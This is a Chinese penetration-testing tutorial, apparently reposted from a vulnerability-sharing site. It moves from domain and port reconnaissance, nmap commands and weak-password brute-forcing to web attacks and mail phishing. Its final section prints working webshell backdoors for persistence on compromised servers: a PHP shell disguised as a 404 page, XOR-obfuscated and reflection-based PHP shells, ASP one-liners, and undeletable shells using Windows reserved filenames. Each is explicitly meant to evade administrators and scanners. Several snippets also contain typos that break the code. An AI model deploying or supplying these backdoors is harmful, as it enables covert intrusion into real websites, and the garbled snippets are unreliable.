WEB测试经验分享

发表于:2018-12-26 11:15

字体: | 上一篇 | 下一篇 | 我要投稿

 作者:cc    来源:漏洞银行

  在进行安全渗透测试时,首先要做的是尽可能多地收集目标应用内程序信息,所以信息收集是渗透测试一个必不可少的步奏,这项任务可以通过多种不同的方式来完成,通过使用搜索引擎、扫描器、发送简单的HTTP请求或者专门精心制作的请求都有可能导致web应用程序泄露诸如错误信息、版本信息以及所使用的技术信息等信息。
  域名
  1.1域名信息收集
  Whois(http://whois.chinaz.com)是一个用来查询域名是否已经被注册,以及注册域名详细信息的数据库(如域名所有人、域名注册商、域名注册日期和过期日期)。尽管这些信息可能与网站管理员的关系不大,但至少可以知道一些有用的东西,比如知道了DNS,可以尝试进行DNS劫持。
  1.2子域名收集
  目前越来越多的互联网公司开始搭建自己的DNS服务器进行解析服务,同时由于DNS服务是一项非常重要的基础性服务,因此很多公司会对DNS服务器进行主配置而DNS主备之间的数据同步就会用到DNS域传送。但如果配置不当,就会导致任何匿名用户都可以获取DNS服务器某一域的所有记录,将整个企业的基础业务以及网络架构对外暴露,从而造成严重的信息泄露,导致企业内网被渗透。
  攻击者进行测试的成本很低,如dns服务器IP:1.1.1.1测试域名为wooyun.org,测试命令如下:
  dig @1.1.1.1 wooyun.org axfr
  或者使用自动检测方法,使用nmap进行扫描:
  nmap --script dns-zone-transfer --script-args dns-zone-transfer.domain=test.com -p 53 -Pn 192.168.5.6
  1.3爆破子域名
  如果域名没有传送漏洞的话,可以采用最原始的爆破方式,例如尝试mail.test.com,test.test.com等等
  现在已经有开源工具可供自动化爆破子域名,如Layer子域名挖掘机和dnsmap,可以使用默认的爆破列表,也可以自定义爆破列表 。
  同时也可以使用白帽子写的开源工具subDomainBrute和wydomain,可以递归爆破三级四级域名
  1.4绕过CDN
  可以在http://ping.chinaz.com上查询目标网站是否使用了CDN。网站真实IP隐藏CDN之后,直接访问CDN的域名的时候,肯定是要经过CDN这一层。如果我们让服务器连接我们呢?不就能快速得到真实IP了么?怎么让服务器主动联系我们,首先可以使用Email,有的服务器本地自带sendmail,注册之后会主动发一封邮件给我们,打开邮件源代码就能看到服务器的真实IP了。有的大型互联网网站会有自己的Mailserver,应该也是处在一个网段,也可以在那个网段打开80端口的IP一个一个尝试,如果目标使用的是公用的Smtp邮件服务器,除了mail 还有什么能让服务器链接我们呢,其实在HTML5还有一个push的功能,也就是说服务器主动发送消息给浏览器
  善用搜索引擎
  在进行信息收集的时候,可以使用搜索引擎进行对一些关键信息的收集,有时候会有奇效
  2.1.GoogleHack
  收集域名和mail地址可以使用自动化的工具theHarvester,它可以通过搜索引擎,PGP服务器以及SHODAN数据库收集目标用户的email,子域名,主机,雇员名,开发端口和banner信息。
  利用Google搜索敏感文件,也可以使用以下格式进行搜索:
  Site:xxx.com filetype:doc intext:pass
  Site:xxx.com filetype:xls intext:pass
  Site:xxx.com filetype:conf
  Site:xxx.com filetype:inc
  利用Google搜索管理后台,可以使用如下格式进行搜索:
  Site:xxx.com 管理
  Site:xxx.com admin
  Site:xxx.com login
  利用Google搜索mail,可以使用以下格式进行搜索:
  Site:xxx.com intext:@xxx.vom
  Intext:@xxx.com
  搜索敏感web路径:
  Site:xxx.com intitle:mongod inurl:28017
  Site:xxx.com inurl:sql.php
  Site:xxx.com inurl:phpinfo.php
  Google与百度爬虫可能还会爬到一些域名的子域名,可以使用site来限定域名查看结果中的子域名。
  例如Google中搜索:
  Site:qq.com
  2.2搜索网络组件
  Zoomeye是一个定位于网络空间的搜索引擎,能对暴露在公网的主机设备及网站组件进行全方位的搜索。Shodan与zoomeye相似,不同的是shodan是基于主机的网络空间搜索引擎
  搜索IP
  3.1C段IP
  一般来说,一个规模比较大的互联网企业会拥有比较多的IP地址,这些IP地址的分配通常也是在同一个C段当中。比如当前企业主域名为www.test.com,其IP地址为222.222.222.222,可以推测222.222.222.1-255的IP地址都为该公司的IP地址,最后确定还得靠其他信息进行判断
  3.2服务器指纹
  有些企业运维在维护自己的服务器的时候,喜欢打上自己的标签,例如特殊的http头。这种的可以通过shodan来尽心搜索拥有同样标签的服务器。
  3.3 自治系统号码
  自治系统:autonomous system.在互联网中,一个自治系统(AS)是一个有权自主的决定本系统中应采用何种路由协议的小型单位。因此一个自治系统有时会被称为是一个路由选择域。一个自治系统将会分配一个全局的唯一的16位号码,我们把这个号码叫做自治系统号。可以利用AS号来寻找目标站点IP.
  先安装Jwhois,执行:
  Whois -h asn.shadowserver.org orgin 1.1.1.1
  可获得IP所在企业的AS号,继续执行:
  Whois -h asn.shadowserve.org prefix[AS号]
  即可获取该as号对于的网段IP
  需要注意的是,一般只有大型企业才有AS号,并且可能会有多个AS号。
  3.4站点信息
  在获取站点IP后,需要进一步获取服务器操作系统类型,端口服务开放和目标网络结构使用nmap可以对目标站点进行全方面的信息扫描,主要使用nmap的如下功能:
  端口扫描:探测目标主机所开放的端口
  版本探测:探测目标主机上的网络服务,判读其服务名称及版本号
  系统探测:探测目标主机的操作系统及网络设备的硬件特性。
  Nmap详解:http://drops.wooyun.org/tips/2002
  外网入口点
  常见弱点端口扫描
  在取得站点对应的IP之后,便可对其进行端口扫描查看对应开发的服务。进行端口扫描和爆破主要用nmap,同时其他工具如hscan和fenghuangscanner也可以进行这一项操作。对扫描结果可以使用hydra进行弱口令爆破,这需要准备一个弱口令字典。
  主要检测的端口和说明如下
  21 ftp主要看是否支持匿名登陆anonymous账户登陆,也可以使用弱口令爆破
  22 ssh弱口令爆破
  23 telnet弱口令爆破
  80 web常见web漏洞以及是否为一些管理后台
  161 snmp弱口令,可能为public,可以使用snmoutil获取更多信息。
  389 ldap 是否支持匿名访问,可以尝试猜测用户名和弱口令。
  443 openssl 尝试心脏出血漏洞及一些web漏洞。
  445 smb跑弱口令,同时可以使用Metasploit检测是否有ms_08067等溢出漏洞
  875 rsync这是一个远程数据同步工具,可以通过LAN/WAN快速同步多台主机间的文件。
  1433 mssql数据库跑弱口令
  1521 oracle数据库跑弱口令
  2601,2604 zebra路由,尝试默认密码zebra
  3128 squid代理默认端口,如果没设置口令可能直接漫游内网。
  3306 mysql跑弱口令
  3389 windows远程桌面跑弱口令,登陆后可以尝试shift后门,放大镜后面,输入法漏洞等。
  4440 rundeck web RunDeck可以批量管理机器下发指令执行脚本等操作,但是RunDeck serve 也可以把自身作为一个 结点去下发命令等操作,于是不用getshell,直接利用RunDeck可以对这台机器执行任意命令
  4848 glassfish web 中间件存在弱口令和默认账号密码,GlassFish2默认账号密码 admin 默认密码 adminadmin ;GlassFish3、4如果管理员不设置账号本地会自动登陆
  5432 postgress 跑弱口令
  5900,5901,5902 vnc跑弱口令
  6379 redics一般无认证,可以直接访问redics-getshell
  7001,7002 web中间件weblogic跑弱口令:
  http://wooyun.org/bugs/wooyun-2010-098518
  8080 tomcat web中间件,跑弱口令,tomcat有许多漏洞:
  http://wooyun.org/bugs/wooyun-2010-099261
  8080 jboss web 中间件 后台可能不认证,能跑弱口令,jboss有许多漏洞:
  http://wooyun.org/bugs/wooyun-2010-0100362
  800-9090都是一些常见的web端口。跑弱口令,有些运维喜欢把管理后台开在这些非80端口上
  9000 fcgi fcgi php执行:http://zong.wooyun.org/content/1060
  9200 elasticsearch 代码执行:http://zone.wooyun.org/content/18915
  27017 mongodb 未授权访问
  28017 mongodb 统计页面:http://zone.wooyun.org/content/17430
  50060 badoop web:http://wooyun.org/bugs/wooyun-2010-092412
  使用NMAP进行扫描的一些常用命令如下:
  获取远程主机上的系统类型及开放端口:
  nmap -sS P0 -sV -O <target>
  -sS Tcp SYN扫描(又称半开放,或隐身扫描)
  -P0 允许你关闭ICMP pings
  -sV 打开系统版本检测
  -O 尝试远程识别操作系统
  其他选项:
  -A 同时打开操作系统指纹和版本检测
  -v详细输出扫描情况
  nmap -sS -P0 -A -v <target>
  列出开放了指定端口的主机列表
  nmap -sT -p 80 -oG  -192.168.1.* |grep open
  在网络中寻找所有在线主机
  nmap -sP 192.168.0.*
  或者也可以用以下命令
  nmap -sP 192.168.0.0/24
  指定 subnet
  Ping指定范围内的IP地址
  nmap -sP 192.168.1.100-254
  在某段子网上来找未占用的IP
  nmap -T4 -sP 192.168.2.0/24 && egrep ”00:00:00:00:00” /proc/net/arp
  使用诱饵扫描方法来扫描主机端口
  sudo nmap -sS 192.168.0.10 -D 192.168.0.2
  为一个子网列出反向DNS记录
  nmap -R sL 209.85.229.99/27 | awk {if($3==”not”) print”(“$2”) no PTR”;else print$3” is ”$2”}|grep
  Web渗透
  2.1识别banner
  使用Whatweb查看目标站点banner
  2.2 webfiles扫描
  使用工具御剑后台扫描或weakfilescan扫描网站备份,遍历文件目录。可能存在未授权访问的url
  2.3 SQL注入
  Sqlmap是一个对url进行sql注入的工具,支持大量主流数据库,有多种注入模式。在web渗透时,可以对sqlmap输入目标url,他会判读可注入的参数,判断哪种可以用哪种sql注入技术来注入,识别数据库类型,如果目标存在sql注入漏洞,可以选择重要数据进行读取
  2.4 Xss
  可以使用工具XSS对目标Web站点存在输入的地方进行XSS漏洞测试
  2.5后台设计问题
  找到后台登陆口后,若无验证码可以直接进行弱口令爆破,也可以尝试类似于a’ or 1=1 or “=’的万能密码。
  2.6任意文件上传
  查看上传点对文件的检查,可以绕过文件明检查等简单的检查机制,上传shell木马
  2.7文件包含,文件读取
  http://wooyun.org/bugs/wooyun-2010-096244
  2.8编辑器漏洞
  FCKEditor是一个常见的在线HTML网页编辑系统,在2.6.8版本存在一个文件上传漏洞,此上传漏洞与一般的上传漏洞不同,只需要经过简单的目录跳转就可以手工上传任意ASP木马文件,入侵服务器。也可以结合服务器解析漏洞来进行控制木马的上传。
  Ewebeditor2.8商业版存在一个漏洞,可以在登陆后台后点击修改密码,新密码设置为:eval request(“a”),设置成功后,访问asp/config.asp即可,一句话木马已经被写到这个文件里面了
  KindEditor3.5.2~4.1版本存在修改文件后缀漏洞,只需要在文件管理中对已经上传为图片格式的文件进行改名,通过浏览器审查元素找到form表单,修改JPG为ASP即可运行上传的后门木马。
  2.9 XXE
  通过构造xml外部实体,当其被服务器解析时,通过XXE漏洞可以读取任意文件。有可能获取服务器配置或者管理员信息等文件。
  2.10 web漏洞扫描器
  Wvs是一个自动化的web应用程序安全测试工具,它可以扫描任何通过web浏览器访问和遵循HTTP/HTTPS规则的Web站点和web应用程序。它将会扫描整个网站,通过跟踪站点上的所有链接和robotx.txt而实现扫描。然后WVS就会映射出站点的结构并显示每个文件的细节信息。在发现阶段或者扫描过程之后,WVS就会自动地对所有发现的每一个页面进行一系列的漏洞攻击。对每一个页面中可能输入数据的地方尝试所有的输入组合。在发现漏洞之后,wvs就会在“Alerts Node(警告结点)”中报告这些漏洞
  3 mail服务器
  3.1Mail服务器漏洞
  一些web漏洞入xss、sql,xxe,心脏出血,破壳漏洞等等也是可能出现在mail服务器上,因此可能对mail服务器进行这项web漏洞测试。
  案例:http://wooyun.org/bugs/wooyun-2010-079063
  3.2 mail弱口令爆破
  在目标站点寻找email登陆入口,用通过谷歌黑客获取的email地址来进行弱口令爆破。登陆后可能获取到敏感信息
  案例:http://wooyun.org/bugs/wooyun-2010-041105
  3.3 mail钓鱼
  通过email发送欺骗性的钓鱼链接至目标点用户邮箱,在钓鱼页面获取登陆信息。
  案例:http://www.wooyun.org/bugs/wooyun-2010-04841115
  3.4mail可能的外网入口
  一些站点内部人员可能会通过email传递VPN密码,服务器密码等等,一但登陆其邮箱即可获取这些信息。
  案例:http://wooyun.org/bugs/wooyun-2010-083019
  权限巩固和提升
  1 Web后门隐藏
  1.1将shell写入图片
  include包含(#include file=”a.jpg”)
  在被攻破站点上,可以修改一个合法并之前就存在的图片,将shell写入图片当中这是一种奇特的隐藏后面的方法
  一种隐藏在JPG图片EXIF中的后门资料
  http://www.freebuf.com/article/web/11403.html
  1.2创建隐藏文件夹,写入shell
  C:\inetpub\wwwroot>md c:\inetpub\wwwroot\a..\
  C:\inetpub\wwwroot>echo “<%excute(request(“1”))%>”>\\,\C:\inetpub\wwwroot\a..\aux.asp
  Shell地址http://IP/a../aux.asp
  注:环境是Win2003,webshell权限就可以完成,另外aspx脚本无法这样做。
  1.3 隐藏文件神器Easy File Locker
  Easy File Locker 是一个驱动级的文件隐藏工具,隐藏的文件在用户层是无法被发现的,但可以正常运行。
  资料:lcx.cc/?i=2416
  注:Easy File Locker只支持win2003环境
  1.4 404马
  为了不让管理员知道后门的存在,可以对php后门进行渲染,将其伪装成404页面来躲过管理员的日志分析.
  资料:http://le4f.net/post/post/backdoor-hidden-and-maintenance
   <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
  <html><head>
  <title>404 Not Found</title>
  </head>
  <body>
  <h1>Not Found</h1>
  <p>The requested URL was not found on this server.</p>
  </body>
  </html>
  <?php
  @preg_replace("/[checksql]/e",$_POST['cmd'],"saft"); ?>
  1.5 php脚本避免关键敏感字
  常见的一句话后门由于其关键字过于明显,易被服务器检测到。因此需要使用一些特殊的构造方式,由于PHP可以直接声明一个变量并进行初始化或赋值操作,因此可以对PHP的变类型进行隐式的转换,并利用这个特点进行一些非常规的操作,例如将整形转化成字符型,将布尔型转化成整形,或者将字符串当作函数来处理,这样写出的PHP后门例如:
   <?php
  @$_++;
  $__=(“#”^”|”);//$__=_
  $__.=(“.”^”~”);//_P
  $__.=(“/”^”`”);_PO
  $__.=(“|”^”/”);//_POS
  $__.=(“{”^”/”);_POST
  ${$__}[!$__](${$__}[$_});//$_POST[0]($_POST[1]);
  ?>
  借用PHP在处理变量时的语法特性,会分析双引号中的数据是否会含有变量,并解析其值。{}可解析双引号内的变量内容,@出错后继续执行,然后就可以开始构造隐藏后门了。但此处构造欲再借力于preg_replace函数引起的命令执行,构造脚本如下:
   <?php
  Function funcfunc($str){}
  Echo pre_replalce(“/<title>(.+?)<\/title>/ies”,funcfunc(“\1”),$_POST[“cmd”]);
  ?>
  执行的方式显而易见,正则匹配后的{$phpinfo()}传入funfunc时引发起了代码执行。另一种方法。
  <?php @assert(“\$arr=\”””.$_GET[‘cmd’].”\”); ?>
  此外还可以使用反射型后门。构造如下
   <?php
  $func=new ReflectionFunction($_GET[m]);
  Echo $func->invokeArgs(array($_GET[c]));
  ?>
  调用x.php?m=system&c=whoami后门也可以绕过某些检测system函数防护系统,构造如下
   <?php
  $func=new ReflectionFunction(“system”);
  Echo $func->invokeArgs(“$_GET[C]”);
  ?>
  另外一种是借助ob_start回调执行系统命令的后门,构造如下:
  <?php
  $cb=’system’;
  ob_start($cb);
  Echo $GET[C];
  Ob_end_flush();
  ?>
  当然构造的方法可以千奇百怪,只要能够躲过扫描器并且代码正常执行,就达到隐藏的目的。可以通过工具weevely来生成免杀后门,weevely的免杀方式在于,在固定区域生成随机量名称,借助str_replace,结合base64_decode执行命令。这属于代码层进行混淆以躲避扫描器
  利用系统保留文件名创建无法删除的webshell来隐藏后门。由于Windows下不能够以下面这些字样来命名文件或者文件夹:
  aux|prn|con|nul|com1|com2|com3|com4|com5|com6|com7|com8|com9|lpt1|lpt2|lpt3|lpt4|lpt5|lpt6|lpt7|lpt8|lpt9|
  但是可以通过cmd的copy命令即可实现:
  D:\\wwwroot>copy rookit.asp \\.\D:wwwroot\lpt6.chouwazi.com.asp
  这列文件无法在图形界面删除,只能在命令行下删除。因此在管理员不太有经验的情况下,这类木马很难被法相后删除。

      上文内容不用于商业目的,如涉及知识产权问题,请权利人联系博为峰小编(021-64471599-8017),我们将立即处理。
《2023软件测试行业现状调查报告》独家发布~

关注51Testing

联系我们

快捷面板 站点地图 联系我们 广告服务 关于我们 站长统计 发展历程

法律顾问:上海兰迪律师事务所 项棋律师
版权所有 上海博为峰软件技术股份有限公司 Copyright©51testing.com 2003-2024
投诉及意见反馈:webmaster@51testing.com; 业务联系:service@51testing.com 021-64471599-8017

沪ICP备05003035号

沪公网安备 31010102002173号